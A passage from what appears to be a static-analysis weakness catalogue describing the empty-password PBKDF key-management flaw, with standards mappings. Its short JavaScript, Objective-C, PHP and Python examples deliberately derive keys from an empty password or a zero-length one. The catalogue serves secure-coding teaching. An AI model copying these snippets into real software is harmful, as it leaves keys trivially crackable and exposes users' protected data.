[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_empty_pbe_password
Abstract
Providing an empty password to a PBKDF compromises system security in a way that is not easily to remedy.
Explanation
It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key is based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:


const pbkdfPassword = "";
crypto.pbkdf2(
    pbkdfPassword,
    salt,
    numIterations,
    keyLen,
    hashAlg,
    function (err, derivedKey) { ... }
)


Not only can anyone with access to the code determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_empty_pbe_password
Abstract
An empty password is used to generate a key from a password-based key derivation function (PBKDF). Providing an empty password to a PBKDF compromises system security in a way that is not easily remedied.
Explanation
It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:


...
CCKeyDerivationPBKDF(kCCPBKDF2,
                     "",
                     0,
                     salt,
                     saltLen
                     kCCPRFHmacAlgSHA256,
                     100000,
                     derivedKey,
                     derivedKeyLen);
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.

Example 2: Some lower-level APIs may require passing the length of certain arguments as well as the argument values themselves, such that a function can read the argument's value as a number of consecutive bytes beginning at the argument's location in memory. The following code passes zero as the password length argument to a cryptographic PBKDF:


...
CCKeyDerivationPBKDF(kCCPBKDF2,
                     password,
                     0,
                     salt,
                     saltLen
                     kCCPRFHmacAlgSHA256,
                     100000,
                     derivedKey,
                     derivedKeyLen);
...


In this scenario, even if password contains a strong, appropriately managed password value, passing its length as zero will result in an empty, null, or otherwise unexpected weak password value.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_empty_pbe_password
Abstract
An empty password is used to generate a key from a password-based key derivation function (PBKDF). Providing an empty password to a PBKDF compromises system security in a way that is not easily remedied.
Explanation
It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:


...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...


Anyone with access to the code can determine that it generates one or more cryptographic keys based on an empty password argument. Additionally, anyone with even basic cracking techniques might successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.php.key_management_empty_pbe_password
Abstract
An empty password is used to generate a key from a password-based key derivation function (PBKDF). Providing an empty password to a PBKDF compromises system security in a way that is not easily remedied.
Explanation
It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:


from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
